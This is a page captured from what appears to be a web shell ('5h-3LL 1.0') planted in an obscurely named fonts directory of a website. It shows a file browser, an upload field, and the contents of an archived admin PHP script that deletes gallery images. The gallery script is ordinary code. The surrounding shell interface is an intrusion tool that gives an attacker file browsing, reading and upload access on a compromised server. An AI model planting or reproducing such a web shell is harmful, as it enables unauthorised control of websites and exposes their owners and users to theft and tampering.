HOME


5h-3LL 1.0
DIR: /home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs
/home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs/
Upload File:
Current File : /home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs/delet-gallery-img.php.tar
home/aissorg/public_html/admin/php/delet-gallery-img.php000064400000001374151162566060017356 0ustar00<?php
include('../include/config.php');



if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['id'])) {
    $imageId = intval($_POST['id']);
    
    // Fetch image path from database
    $query = mysqli_query($con, "SELECT image FROM gallery_images WHERE id = $imageId");
    $row = mysqli_fetch_assoc($query);
    if ($row) {
        $imagePath = "assets/img/gallery/" . $row['image'];

        // Delete image file
        if (file_exists($imagePath)) {
            unlink($imagePath);
        }

        // Delete from database
        mysqli_query($con, "DELETE FROM gallery_images WHERE id = $imageId");

        echo json_encode(["success" => true]);
        exit;
    }
}

echo json_encode(["success" => false]);
?>